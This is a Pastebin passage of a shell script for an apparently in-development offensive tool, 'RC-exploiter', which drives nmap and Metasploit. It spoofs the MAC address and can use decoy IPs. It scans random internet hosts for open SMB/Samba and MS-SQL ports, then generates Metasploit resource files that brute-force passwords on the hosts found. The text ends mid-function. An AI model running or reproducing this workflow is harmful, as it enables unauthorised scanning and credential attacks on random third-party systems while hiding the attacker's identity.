Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # ------------------------------------------------------------------------
- # WARNING THIS SCRIPT WILL NOT WORK WITHOUT RC-EXPLOITER FOLDER AND
- # ALL THE REQUIRED FILES/EXPLOITS - AND THIS PROJECT ITS ON DEVELOP STAGE
- # ------------------------------------------------------------------------
- #!/bin/sh
- ### inicio
- #
- # [ RC-scanner/exploiter script ]
- # codename: "the three stooges" goes shopping!...
- # Develop By: pedr0 Ubuntu [r00t-3xp10it]
- # peterubuntu10[at]sourceforge[dot]net
- # WIKI: https://sourceforge.net/p/rcexploiter/wiki/Home/
- # ---
- # Required 'nmap' 'metasploit' and 'macchanger' installed...
- # Special Thanks to: Milton@Barra for all the help provided
- # in debugging and testing some of the modules in this project :D
- # And Offcourse to: Fyodor(nmap) AND hd moore(metasploit)
- # ---
- # This program is free software; you can redistribute it
- # and/or modify it under the terms of the GNU General
- # Public License as published by the Free Software Foundation.
- #
- ###
- # Resize terminal windows size befor running the tool (gnome terminal)
- # Special thanks to h4x0r Milton@Barra for this little piece of heaven! :D
- resize -s 36 92 > /dev/null
- # ------------------------
- # LOCAL VARIABLES SETTINGS
- ######################################################################################################
- IPATH=`pwd` # tool current install path #
- ver="1.1.0" # script version develop #
- OS=`uname` # grab OS - Linux or other #
- H0m3=`echo ~` # grab home directory #
- user=`who | cut -d' ' -f1 | sort | uniq` # grab username #
- DiStR0=`awk '{print $1}' /etc/issue` # grab distribution - Ubuntu or Kali #
- InT3R=`netstat -r | grep "default" | awk {'print $8'}` # grab interface in use - wlan0 or eth0 #
- IP_RANGE=`ip route | grep "kernel" | awk {'print $1'}` # grab IP addr range #
- Ch3=`cat $IPATH/settings | grep "USE_DECOYS" | cut -d '=' -f2` # turn 'on' or 'off' decoys #
- SPOOF=`cat $IPATH/settings | grep "DECOY_IP_ADDR" | cut -d'=' -f2` # decoy ip addr (fake ip addr) #
- M4c=`cat $IPATH/settings | grep "SPOOF_MAC" | cut -d '=' -f2` # change mac addr? #
- R4nD0M=`cat $IPATH/settings | grep "RANDOM" | cut -d '=' -f2` # use change mac addr random or static #
- T00lM4C=`cat $IPATH/settings | grep "SPOOFED_MAC" | cut -d '=' -f2` # spoofed mac to use in static #
- nS31=`cat $IPATH/settings | grep "NSE_SCRIPTS" | cut -d '=' -f2` # nse script folder install path #
- nS3Lib=`cat $IPATH/settings | grep "NSE_LIB" | cut -d '=' -f2` # nse LIB folder install path #
- ######################################################################################################
- # -----------------------------------
- # Colorise shell Script output leters
- # -----------------------------------
- Colors() {
- Escape="\033";
- white="${Escape}[0m";
- RedF="${Escape}[31m";
- GreenF="${Escape}[32m";
- YellowF="${Escape}[33m";
- BlueF="${Escape}[34m";
- CyanF="${Escape}[36m";
- Reset="${Escape}[0m";
- }
- # -----------------------------------
- # check if dependencies are installed
- # 'root' 'nmap' 'zenity' 'msfconsole'
- # -----------------------------------
- Colors;
- # check if user is root
- if [ $(id -u) != "0" ]; then
- echo ${BlueF}[*]${RedF}::${BlueF}[Check User]: ${RedF}$USER ${Reset};
- echo ${RedF}[x]::[not root]${white}: you need to be ${GreenF}[root]${white} to run this script.${Reset};
- echo "[[ NOT ROOT ]]:ABORT..." >> $IPATH/debug/debug.int
- exit
- else
- echo ${BlueF}[*]${RedF}::${BlueF}[Check User]: ${GreenF}$USER ${Reset};
- sleep 1
- fi
- nM4p=`which nmap`
- #check if nmap exists
- if [ "$?" -eq "0" ]; then
- echo ${BlueF}[*]${RedF}::${BlueF}[Nmap]:${white} installation found...${Reset};
- sleep 1
- else
- echo ${RedF}[x]::[warning]:this script require Nmap installed to work ${Reset};
- echo ${YellowF}[+]${RedF}::${YellowF}[please wait]: Downloading from network... ${Reset};
- sudo apt-get install nmap
- sudo apt-get install zenmap
- sleep 2
- clear
- fi
- Z3n=`which zenity`
- #check if zenity exists
- if [ "$?" -eq "0" ]; then
- echo ${BlueF}[*]${RedF}::${BlueF}[zenity]:${white} installation found...${Reset};
- sleep 1
- else
- echo ${RedF}[x]::[warning]: this module required 'zenity' instaled to work...${Reset};
- echo ${YellowF}[+]${RedF}::${YellowF}[please wait]: Downloading from network... ${Reset};
- sudo apt-get install zenity
- sleep 4
- exit
- fi
- mSf=`which msfconsole`
- #check if metasploit exists
- if [ "$?" -eq "0" ]; then
- echo ${BlueF}[*]${RedF}::${BlueF}[Metasploit]:${white} installation found...${Reset};
- sleep 1
- else
- echo ${RedF}[x]::[warning]: this module required Metasploit instaled to work...${Reset};
- echo ${YellowF}[+]${RedF}::${YellowF} 'more info' here: http://www.darkoperator.com/installing-metasploit-in-ubunt/ ${Reset};
- echo "[[ DEPENDENCIE:MSFCONSOLE ]]:FAIL..." >> $IPATH/debug/debug.int
- sleep 4
- exit
- fi
- # ----------------------------------
- # grab network INTERFACE in use
- # ----------------------------------
- # ask to user if script as grab the currect interface in use
- QuE=$(zenity --question --title "INTERFACE IN USE ?" --text "-:[ INTERFACE: $InT3R ? ]:-" --width 300) > /dev/null 2>&1
- if [ "$?" -eq "0" ]; then
- inter="$InT3R"
- else
- # interface grab aborted by user
- echo ${GreenF}[*]${RedF}::${GreenF}[Available Network Interfaces]: ${Reset};
- echo ""
- netstat -i | grep "wlan" && netstat -i | grep "eth" && netstat -i | grep "ppp" && netstat -i | grep "vboxnet" && netstat -i | grep "pan" && netstat -i | grep "vmnet"
- echo ""
- # INTERFACE user input
- inter=$(zenity --title="Input interface in use" --text "Please check your network connection\nOr manually input your interface in use\n\nexample: wlan0 OR eth0 OR vboxnet0" --entry --width 300) > /dev/null 2>&1
- fi
- # -----------------------------------------------
- # change mac address depending of 'settings' file
- # -----------------------------------------------
- Colors;
- # check settings file
- if [ "$M4c" = "YES" ]; then
- # check if macchanger exists
- m4cchanger=`which macchanger`
- if [ "$?" -eq "0" ]; then
- echo ${BlueF}[*]${RedF}::${BlueF}[macchanger]:${white} installation found...${Reset};
- sleep 2
- echo ${YellowF}[+]${RedF}::${BlueF}[please wait]:${YellowF} Changing your mac address... ${Reset};
- service network-manager stop > /dev/null 2>&1
- sleep 4
- # set mac random or stable
- if [ "$R4nD0M" = "YES" ]; then
- macchanger -r $inter > /dev/null 2>&1
- sleep 17
- else
- macchanger --mac=$T00lM4C $inter > /dev/null 2>&1
- sleep 17
- fi
- # restarting network interface
- echo ${YellowF}[+]${RedF}::${BlueF}[please wait]:${YellowF} Restarting [${GreenF}$inter${YellowF}] interface... ${Reset};
- service network-manager start > /dev/null 2>&1
- sleep 5
- macchanger -s $inter | zenity --title "MAC ADDR CURRENT SETTINGS" --text-info --width 410 --height 110 > /dev/null 2>&1
- else
- echo ${RedF}[x]::[warning]: this module required 'macchanger' instaled to work...${Reset};
- echo ${YellowF}[+]${RedF}::${BlueF}[please wait]:${YellowF} Downloading from network... ${Reset};
- sudo apt-get install macchanger macchanger-gtk
- echo ${BlueF}[*]${RedF}::${BlueF}[installed]:${RedF} please run the script again... ${Reset};
- sleep 4
- exit
- fi
- else
- echo "good" > /dev/null 2>&1
- fi
- # ---------------------------------------------
- # grab Operative System distro to store IP addr
- # output = Ubuntu OR Kali OR Parrot OR BackBox
- # ---------------------------------------------
- case $DiStR0 in
- Kali) IP=`ifconfig $inter | egrep -w "inet" | cut -d ':' -f2 | cut -d 'B' -f1`;;
- Debian) IP=`ifconfig $inter | egrep -w "inet" | awk '{print $2}'`;;
- Ubuntu) IP=`ifconfig $inter | egrep -w "inet" | awk '{print $3}'`;;
- Parrot) IP=`ifconfig $inter | egrep -w "inet" | cut -d ':' -f2 | cut -d 'B' -f1`;;
- BackBox) IP=`ifconfig $inter | egrep -w "inet" | cut -d ':' -f2 | cut -d 'B' -f1`;;
- *) IP=`zenity --title="Input your IP addr" --text "example: 192.168.1.68" --entry --width 300`;;
- esac
- clear
- # -----------------------
- # banner/disclamer
- # -----------------------
- Colors;
- clear
- cat << !
- ,.,
- +-+-+ +-+-+-+-+-+-+-+-+-+ (~ ~)
- |r|c| |e|x|p|l|o|i|t|e|r| q:0 0:p
- +-+-+ +-+-+-+-+-+-+-+-+-+ ((_))
- 'u'
- !
- echo ${YellowF} The author does not hold any responsibility about the bad use of this script,${Reset};
- echo ${YellowF} remmenber that attacking targets without prior concent its illegal and punish${Reset};
- echo ${YellowF} by law, this script as build to show how msf resource files can automate tasks.${Reset};
- echo ""
- echo ${YellowF} Scanning WAN networks In search of targets may take 10 to 15 minutes depending${Reset};
- echo ${YellowF} of your network connection, and will search In 1024 random hosts For the selected${Reset};
- echo ${YellowF} port, also the File 'user-names.txt' may be edited to insert new entrys, or we can${Reset};
- echo ${YellowF} provide the full path to another dicionary File to be used In brute-force services.${Reset};
- echo ${YellowF} Also this tool will change your [${white}mac address + ip address${YellowF}] and use [${white}Decoys${YellowF}] to${Reset};
- echo ${YellowF} scan WAN networks 'if' configurated 'in' the "settings" conf 'file'... ${Reset};
- echo ""
- echo ${RedF} Author':' ${GreenF}r00t-3xp10it${RedF} '|' Suspicious Shell Activity Labs/RedTeam${Reset};
- echo ${RedF} r00tsect0r '|' dwebcrew '|' google inurlbr '|' root developers ${Reset};
- echo ${RedF} Learn 'more' about Resource Files here${white}:${RedF}http://goo.gl/chSnOC ${Reset};
- echo ${RedF} VERSION:${white}$ver ${RedF}USER:${white}$user ${RedF}INTERFACE:${white}$inter ${RedF}OS:${white}$OS ${RedF}DISTRO:${white}$DiStR0 ${Reset};
- echo ""
- echo ${YellowF}Press [${GreenF} ENTER ${YellowF}] to continue...${Reset};
- read op
- # -----------------------
- # Obfuscated ...
- # -----------------------
- if [ -e $IPATH/bin/obfuscated ]; then
- # use base64 to decode password string
- oBf=`cat $IPATH/bin/obfuscated | base64 -d`
- # or use my personal encoding un-comment [line:279]
- # and un-comment also the [line:1927] to activate this funtion.
- # oBf=`cat $IPATH/bin/obfuscated | grep ":" | cut -d ':' -f2`
- P0C=$(zenity --password --title="RC-EXPLOITER" --text "enter your access password:") > /dev/null 2>&1
- if [ "$P0C" = "$oBf" ]; then
- echo "good" > /dev/null 2>&1
- else
- clear
- cat << !
- (=('~')=)
- ,))|o o|((,
- ((_))
- '-'
- Wrong password:'$P0C' Better luck next time...
- !
- dtr=`date | awk '{print $2,$3,$4}'`
- echo ${white}Develop by:[${GreenF}r00t-3xp10it${white}]SSA-RedTeam@2015 ${Reset};
- echo "" >> $IPATH/debug/debug.int
- echo "" >> $IPATH/debug/debug.int
- echo "[x]------------------------------------" >> $IPATH/debug/debug.int
- echo "[x] Wrong Password [[ $P0C ]] at [[ $dtr ]]" >> $IPATH/debug/debug.int
- echo "[x]------------------------------------" >> $IPATH/debug/debug.int
- exit
- fi
- else
- # if dont exist 'obfuscated' file (default) continue...
- echo "good" > /dev/null 2>&1
- fi
- # -----------------------------------------------
- # grab current mac address for display porposes..
- # -----------------------------------------------
- if [ "$M4c" = "YES" ]; then
- st=`macchanger -s $inter | grep "Current" | awk '{print $3}'`
- else
- st="NOT CONFIGURATED..."
- fi
- # ------------------------------
- # tool debug logfile (debug.int)
- # ------------------------------
- # store data in dtr variable
- dtr=`date | awk '{print $2,$3,$4}'`
- # CHECK TOOLKIT_CONFIG SETTINGS
- L0g=`cat $IPATH/settings | egrep -m 1 "DEBUG_MODE" | cut -d '=' -f2`
- if [ "$L0g" = "ON" ]; then
- echo "" >> $IPATH/debug/debug.int
- echo "" >> $IPATH/debug/debug.int
- echo "[[ $dtr ]]" >> $IPATH/debug/debug.int
- echo "VERSION:$ver INTERFACE:$inter" >> $IPATH/debug/debug.int
- echo "OS:$OS DISTRO:$DiStR0" >> $IPATH/debug/debug.int
- echo "IP_ADDR:$IP IP_RANGE:$IP_RANGE" >> $IPATH/debug/debug.int
- echo "HOME_PATH:$H0m3" >> $IPATH/debug/debug.int
- echo "INSTALL_PATH:$IPATH" >> $IPATH/debug/debug.int
- echo "SPOOFED_MAC:$st" >> $IPATH/debug/debug.int
- echo "------------------------------" >> $IPATH/debug/debug.int
- # further activity will be added...
- # just for the fun (progress bar display)
- ping -c 5 www.google.com | zenity --progress --pulsate --title "DEBUG MODE: ON" --text="logging script activity: [ debug.int ]" --percentage=0 --auto-close --width 300 > /dev/null 2>&1
- else
- # just for the fun (progress bar display)
- ping -c 5 www.google.com | zenity --progress --pulsate --title "PLEASE WAIT" --text="Loading Modules ..." --percentage=0 --auto-close --width 300 > /dev/null 2>&1
- fi
- # ----------------------------------
- # bash trap ctrl-c and call ctrl_c()
- # ----------------------------------
- trap ctrl_c INT
- ctrl_c() {
- Colors;
- echo "[[ CTRL+C ]]:ABORT..." >> $IPATH/debug/debug.int
- echo ${YellowF} You have pressed ${RedF}[CTRL+C] ${Reset};
- echo ${RedF}[x]::${YellowF}Please Wait, cleanning ... ${Reset};
- sleep 2
- sh_exit
- }
- # ----------------------------------
- # END OF CONFIGURATIONS
- # ----------------------------------
- # -----------------------
- # smb+samba exploiter
- # -----------------------
- sh_1 () {
- Colors;
- # search in wan OR manually input rhosts
- aTv=$(zenity --list --title "ATTACK VECTOR" --text "SEARCH TARGETS IN WAN OR NO ?" --radiolist --column "Pick" --column "Option" TRUE "Scan WAN for hosts" FALSE "input RHOSTS manually" --width 350 --height 155) > /dev/null 2>&1
- if [ "$aTv" = "Scan WAN for hosts" ]; then
- echo "SMB+SAMBA:WAN:LOADED" >> $IPATH/debug/debug.int
- NUM=$(zenity --title "Nº LIMIT OF HOSTS TO FOUND" --text "Input the maximus nunber of random IP's to found\nChose from 1 to 1024 random hosts to found" --entry --width 350) > /dev/null 2>&1
- dIc=$(zenity --title "BRUTE FORCE DICIONARY" --text "input path of dicionary file\nexample: $IPATH/bin/user-passw.txt" --entry --width 350) > /dev/null 2>&1
- # use DECOY'S in scanning WAN networks?
- if [ "$Ch3" = "YES" ]; then
- # use decoys to scan wan networks
- echo "DECOY_IP_ADDR:$SPOOF" >> $IPATH/debug/debug.int
- nmap -sS -iR $NUM -D $SPOOF,$IP -PN -p U:135,T:137,139,445 --open --reason -oN $IPATH/logs/Random-Hosts[smb].log | zenity --progress --pulsate --title "SCANNING WAN NETWORK" --text="LOGFILE: Random-Hosts[smb].log\nHOSTS: $NUM ONLY: open PORTS: 135,139,445\n---\nUSING DECOY: $SPOOF\nSPOOFED MAC: $st" --percentage=0 --auto-close --width 350 > /dev/null 2>&1
- else
- # default (dont use decoys)
- nmap -sS -iR $NUM -PN -p U:135,T:139,445 --open --reason -oN $IPATH/logs/Random-Hosts[smb].log | zenity --progress --pulsate --title "scanning WAN NETWORK" --text="LOGFILE: Random-Hosts[smb].log\nHOSTS: $NUM ONLY: open PORTS: 135,139,445\n---\nSPOOFED MAC: $st" --percentage=0 --auto-close --width 350 > /dev/null 2>&1
- fi
- echo ""
- cat $IPATH/logs/Random-Hosts[smb].log
- echo ""
- # generate (settings) resource file
- rhosts=$(zenity --title="Input RHOSTS" --text "example: 192.44.100.86 182.11.100.23" --entry --width 360) > /dev/null 2>&1
- if [ "$?" -eq "0" ]; then
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ BUILDING RC FILES.. ] ${Reset};
- echo "hosts -a $rhosts" > $IPATH/tempwork/msfdb.rc
- echo "setg RHOSTS $rhosts" >> $IPATH/tempwork/msfdb.rc
- echo "setg THREADS 3" >> $IPATH/tempwork/msfdb.rc
- echo "setg PASS_FILE $dIc" >> $IPATH/tempwork/msfdb.rc
- echo "setg STOP_ON_SUCCESS true" >> $IPATH/tempwork/msfdb.rc
- echo "resource $IPATH/exploits/smb+samba.rc" >> $IPATH/tempwork/msfdb.rc
- # generate (cleaner) resource file
- echo "hosts -d" > $IPATH/tempwork/cleaner.rc
- echo "unset -g RHOST RHOSTS LHOST USERNAME PASS_FILE STOP_ON_SUCCESS PAYLOAD THREADS" >> $IPATH/tempwork/cleaner.rc
- echo "sleep 3" >> $IPATH/tempwork/cleaner.rc
- echo "exit -y" >> $IPATH/tempwork/cleaner.rc
- chown $user $IPATH/logs/Random-Hosts[smb].log > /dev/null 2>&1
- chown $user $IPATH/tempwork/cleaner.rc > /dev/null 2>&1
- chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
- cd $IPATH/exploits/
- # using bash SED to replace value (report.log)
- cp smb+samba.rc smb+samba.bk > /dev/null 2<&1
- sed "s|Lt0P4tH|$IPATH/logs/[smb+samba].log|g" smb+samba.rc > copy.int
- mv copy.int smb+samba.rc > /dev/null 2<&1
- cd $IPATH
- # store in debug.int
- echo "RHOSTS:$rhosts" >> $IPATH/debug/debug.int
- echo "PASS_FILE:$dIc" >> $IPATH/debug/debug.int
- # start postgresql+metasploit db
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF SERVICES. ] ${Reset};
- # /etc/init.d/postgresql start > /dev/null 2>&1
- # /etc/init.d/metasploit start > /dev/null 2>&1
- if [ "$DiStR0" = "Kali" ]; then
- service postgresql start > /dev/null 2>&1
- service metasploit start > /dev/null 2>&1
- else
- service metasploit start > /dev/null 2>&1
- fi
- # display cleaner command
- echo "START MSF SERVICES:YES" >> $IPATH/debug/debug.int
- echo ${white}--------------------------------------------------------${Reset};
- echo ${YellowF}REMEMBER TO CLEAR DATABASE BEFOR EXIT METASPLOIT CONSOLE${Reset};
- echo ${RedF}msf '>' resource $IPATH/tempwork/cleaner.rc ${Reset};
- echo ${white}--------------------------------------------------------${Reset};
- # access msfdatabase
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF CONSOLE.. ] ${Reset};
- xterm -T "METASPLOIT CONSOLE" -geometry 115x23 -e "sudo msfconsole -r $IPATH/tempwork/msfdb.rc"
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ STOP MSF SERVICES.. ] ${Reset};
- zenity --warning --title="RC-EXPLOITER GENERATED FILES" --text "stored: $IPATH/tempwork/cleaner.rc\nstored: $IPATH/logs/[smb+samba].log" --width 480 > /dev/null 2>&1
- service metasploit stop > /dev/null 2>&1
- echo "STOP MSF SERVICE:YES" >> $IPATH/debug/debug.int
- # clean old files
- mv $IPATH/exploits/smb+samba.bk $IPATH/exploits/smb+samba.rc > /dev/null 2<&1
- chown $user $IPATH/exploits/smb+samba.rc > /dev/null 2>&1
- else
- echo ${RedF}[x]::[ CURRENT TASK ABORTED ]${Reset};
- echo "SMB+SAMBA:WAN::ABORT" >> $IPATH/debug/debug.int
- sleep 2
- fi
- elif [ "$aTv" = "input RHOSTS manually" ]; then
- echo "SMB+SAMBA:MANUAL:LOADED" >> $IPATH/debug/debug.int
- # imput manually RHOSTS
- rhosts=$(zenity --title="Input RHOSTS" --text "example: 192.44.100.86 182.11.100.23" --entry --width 360) > /dev/null 2>&1
- if [ "$?" -eq "0" ]; then
- dIc=$(zenity --title "BRUTE FORCE DICIONARY" --text "input path of dicionary file\nexample: $IPATH/bin/user-names.txt" --entry --width 350) > /dev/null 2>&1
- # generate (settings) resource file
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ BUILDING RC FILES.. ] ${Reset};
- echo "setg RHOSTS $rhosts" > $IPATH/tempwork/msfdb.rc
- echo "setg PASS_FILE $dIc" >> $IPATH/tempwork/msfdb.rc
- echo "setg THREADS 3" >> $IPATH/tempwork/msfdb.rc
- echo "setg STOP_ON_SUCCESS true" >> $IPATH/tempwork/msfdb.rc
- echo "resource $IPATH/exploits/smb+samba.rc" >> $IPATH/tempwork/msfdb.rc
- # generate (cleaner) resource file
- echo "hosts -d" > $IPATH/tempwork/cleaner.rc
- echo "unset -g RHOST RHOSTS LHOST USERNAME PASS_FILE STOP_ON_SUCCESS PAYLOAD THREADS" >> $IPATH/tempwork/cleaner.rc
- echo "sleep 3" >> $IPATH/tempwork/cleaner.rc
- echo "exit -y" >> $IPATH/tempwork/cleaner.rc
- chown $user $IPATH/tempwork/cleaner.rc > /dev/null 2>&1
- chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
- cd $IPATH/exploits/
- # using bash SED to replace value (report.log)
- cp smb+samba.rc smb+samba.bk > /dev/null 2<&1
- sed "s|Lt0P4tH|$IPATH/logs/[smb+samba].log|g" smb+samba.rc > copy.int
- mv copy.int smb+samba.rc > /dev/null 2<&1
- cd $IPATH
- # store in debug.int
- echo "RHOSTS:$rhosts" >> $IPATH/debug/debug.int
- echo "PASS_FILE:$dIc" >> $IPATH/debug/debug.int
- # start postgresql+metasploit db
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF SERVICES. ] ${Reset};
- # /etc/init.d/postgresql start > /dev/null 2>&1
- # /etc/init.d/metasploit start > /dev/null 2>&1
- if [ "$DiStR0" = "Kali" ]; then
- service postgresql start > /dev/null 2>&1
- service metasploit start > /dev/null 2>&1
- else
- service metasploit start > /dev/null 2>&1
- fi
- # display cleaner command
- echo "START MSF SERVICES:YES" >> $IPATH/debug/debug.int
- echo ${white}--------------------------------------------------------${Reset};
- echo ${YellowF}REMEMBER TO CLEAR DATABASE BEFOR EXIT METASPLOIT CONSOLE${Reset};
- echo ${RedF}msf '>' resource $IPATH/tempwork/cleaner.rc ${Reset};
- echo ${white}--------------------------------------------------------${Reset};
- # access msfdatabase
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF CONSOLE.. ] ${Reset};
- xterm -T "METASPLOIT CONSOLE" -geometry 115x23 -e "sudo msfconsole -r $IPATH/tempwork/msfdb.rc"
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ STOP MSF SERVICES.. ] ${Reset};
- zenity --warning --title="RC-EXPLOITER GENERATED FILES" --text "stored: $IPATH/tempwork/cleaner.rc\nstored: $IPATH/logs/[smb+samba].log" --width 480 > /dev/null 2>&1
- service metasploit stop > /dev/null 2>&1
- echo "STOP MSF SERVICES:YES" >> $IPATH/debug/debug.int
- # clean old files
- mv $IPATH/exploits/smb+samba.bk $IPATH/exploits/smb+samba.rc > /dev/null 2<&1
- chown $user $IPATH/exploits/smb+samba.rc > /dev/null 2>&1
- else
- echo ${RedF}[x]::[ CURRENT TASK ABORTED ]${Reset};
- echo "SMB+SAMBA:MANUAL:ABORT" >> $IPATH/debug/debug.int
- sleep 2
- fi
- else
- Colors;
- echo ${RedF}[x]::[quiting module]... ${Reset};
- echo "SMB+SAMBA:CANCEL" >> $IPATH/debug/debug.int
- sleep 2
- fi
- }
- # ----------------
- # ms-sql exploiter
- # ----------------
- sh_2 () {
- Colors;
- # search in wan OR manually input rhosts
- aTv=$(zenity --list --title "ATTACK VECTOR" --text "SEARCH TARGETS IN WAN OR NO ?" --radiolist --column "Pick" --column "Option" TRUE "Scan WAN for hosts" FALSE "input RHOSTS manually" --width 350 --height 155) > /dev/null 2>&1
- if [ "$aTv" = "Scan WAN for hosts" ]; then
- echo "MS-SQL-S:WAN:LOADED" >> $IPATH/debug/debug.int
- NUM=$(zenity --title "Nº LIMIT OF HOSTS TO FOUND" --text "Input the maximus nunber of random IP's to found\nChose from 1 to 1024 random hosts to found" --entry --width 350) > /dev/null 2>&1
- dIc=$(zenity --title "BRUTE FORCE DICIONARY" --text "input path of dicionary file\nexample: $IPATH/bin/user-passw.txt" --entry --width 350) > /dev/null 2>&1
- # use DECOY'S in scanning WAN networks?
- if [ "$Ch3" = "YES" ]; then
- # use decoys to scan wan networks
- echo "DECOY_IP_ADDR:$SPOOF" >> $IPATH/debug/debug.int
- nmap -sS -iR $NUM -D $SPOOF,$IP -PN -p 1433 --open --reason -oN $IPATH/logs/Random-Hosts[ms-sql].log | zenity --progress --pulsate --title "SCANNING WAN NETWORK" --text="LOGFILE: Random-Hosts[ms-sql].log\nHOSTS: $NUM ONLY: open PORTS: 1433\n---\nUSING DECOY: $SPOOF\nSPOOFED MAC: $st" --percentage=0 --auto-close --width 350 > /dev/null 2>&1
- else
- # default (dont use decoys)
- nmap -sS -iR $NUM -PN -p 1433 --open --reason -oN $IPATH/logs/Random-Hosts[ms-sql].log | zenity --progress --pulsate --title "SCANNING WAN NETWORK" --text="LOGFILE: Random-Hosts[ms-sql].log\nHOSTS: $NUM ONLY: open PORTS: 1433\n---\nSPOOFED MAC: $st" --percentage=0 --auto-close --width 350 > /dev/null 2>&1
- fi
- echo ""
- # display on screen hosts found
- cat $IPATH/logs/Random-Hosts[ms-sql].log
- echo ""
- # generate (settings) resource file
- rhosts=$(zenity --title="Input RHOSTS" --text "example: 192.44.100.86 182.11.100.23" --entry --width 360) > /dev/null 2>&1
- if [ "$?" -eq "0" ]; then
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ BUILDING RC FILES.. ] ${Reset};
- echo "hosts -a $rhosts" > $IPATH/tempwork/msfdb.rc
- echo "setg RHOSTS $rhosts" >> $IPATH/tempwork/msfdb.rc
- echo "setg MSSQL_PASS_FILE $dIc" >> $IPATH/tempwork/msfdb.rc
- echo "setg THREADS 3" >> $IPATH/tempwork/msfdb.rc
- echo "resource $IPATH/exploits/ms-sql.rc" >> $IPATH/tempwork/msfdb.rc
- # generate (cleaner) resource file
- echo "hosts -d" > $IPATH/tempwork/cleaner.rc
- echo "unset -g RHOST RHOSTS MSSQL_PASS_FILE THREADS" >> $IPATH/tempwork/cleaner.rc
- echo "sleep 3" >> $IPATH/tempwork/cleaner.rc
- echo "exit -y" >> $IPATH/tempwork/cleaner.rc
- chown $user $IPATH/logs/Random-Hosts[ms-sql].log > /dev/null 2>&1
- chown $user $IPATH/tempwork/cleaner.rc > /dev/null 2>&1
- chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
- # store in debug.int
- echo "RHOSTS:$rhosts" >> $IPATH/debug/debug.int
- echo "MSSQL_PASS_FILE:$dIc" >> $IPATH/debug/debug.int
- cd $IPATH/exploits/
- # using bash SED to replace value (dicionary file & report.log)
- cp ms-sql.rc ms-sql.bk > /dev/null 2<&1
- sed "s|R3PL4C3|$dIc|g" ms-sql.rc > copy.int
- sed "s|Lt0P4tH|$IPATH/logs/[ms-sql].log|g" copy.int > copy2.int
- mv copy2.int ms-sql.rc > /dev/null 2<&1
- cd $IPATH
- # start postgresql+metasploit db
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF SERVICES. ] ${Reset};
- # /etc/init.d/postgresql start > /dev/null 2>&1
- # /etc/init.d/metasploit start > /dev/null 2>&1
- # /etc/init.d/metasploit start > /dev/null 2>&1
- if [ "$DiStR0" = "Kali" ]; then
- service postgresql start > /dev/null 2>&1
- service metasploit start > /dev/null 2>&1
- else
- service metasploit start > /dev/null 2>&1
- fi
- # display cleaner command
- echo "START MSF SERVICES:YES" >> $IPATH/debug/debug.int
- echo ${white}--------------------------------------------------------${Reset};
- echo ${YellowF}REMEMBER TO CLEAR DATABASE BEFOR EXIT METASPLOIT CONSOLE${Reset};
- echo ${RedF}msf '>' resource $IPATH/tempwork/cleaner.rc ${Reset};
- echo ${white}--------------------------------------------------------${Reset};
- # access msfdatabase
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF CONSOLE.. ] ${Reset};
- xterm -T "METASPLOIT CONSOLE" -geometry 115x23 -e "sudo msfconsole -r $IPATH/tempwork/msfdb.rc"
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ STOP MSF SERVICES.. ] ${Reset};
- zenity --warning --title="RC-EXPLOITER GENERATED FILES" --text "stored: $IPATH/tempwork/cleaner.rc\nstored: $IPATH/logs/[ms-sql].log" --width 480 > /dev/null 2>&1
- service metasploit stop > /dev/null 2>&1
- echo "STOP MSF SERVICES:YES" >> $IPATH/debug/debug.int
- # clean old files
- mv $IPATH/exploits/ms-sql.bk $IPATH/exploits/ms-sql.rc > /dev/null 2<&1
- rm $IPATH/exploits/copy.int > /dev/null 2>&1
- chown $user $IPATH/exploits/ms-sql.rc > /dev/null 2>&1
- else
- echo ${RedF}[x]::[ CURRENT TASK ABORTED ]${Reset};
- echo "MS-SQL-S:WAN:ABORT" >> $IPATH/debug/debug.int
- sleep 2
- fi
- elif [ "$aTv" = "input RHOSTS manually" ]; then
- echo "MS-SQL-S:MANUAL:LOADED" >> $IPATH/debug/debug.int
- # imput manually RHOSTS
- rhosts=$(zenity --title="Input RHOSTS" --text "example: 192.44.100.86 182.11.100.23" --entry --width 360) > /dev/null 2>&1
- if [ "$?" -eq "0" ]; then
- dIc=$(zenity --title "BRUTE FORCE DICIONARY" --text "input path of dicionary file\nexample: $IPATH/bin/user-passw.txt" --entry --width 350) > /dev/null 2>&1
- # generate (settings) resource file
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ BUILDING RC FILES.. ] ${Reset};
- echo "setg RHOSTS $rhosts" > $IPATH/tempwork/msfdb.rc
- echo "setg MSSQL_PASS_FILE $dIc" >> $IPATH/tempwork/msfdb.rc
- echo "setg THREADS 3" >> $IPATH/tempwork/msfdb.rc
- echo "resource $IPATH/exploits/ms-sql.rc" >> $IPATH/tempwork/msfdb.rc
- # generate (cleaner) resource file
- echo "hosts -d" > $IPATH/tempwork/cleaner.rc
- echo "unset -g RHOST RHOSTS MSSQL_PASS_FILE THREADS" >> $IPATH/tempwork/cleaner.rc
- echo "sleep 3" >> $IPATH/tempwork/cleaner.rc
- echo "exit -y" >> $IPATH/tempwork/cleaner.rc
- chown $user $IPATH/tempwork/cleaner.rc > /dev/null 2>&1
- chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
- # store in debug.int
- echo "RHOSTS:$rhosts" >> $IPATH/debug/debug.int
- echo "MSSQL_PASS_FILE:$dIc" >> $IPATH/debug/debug.int
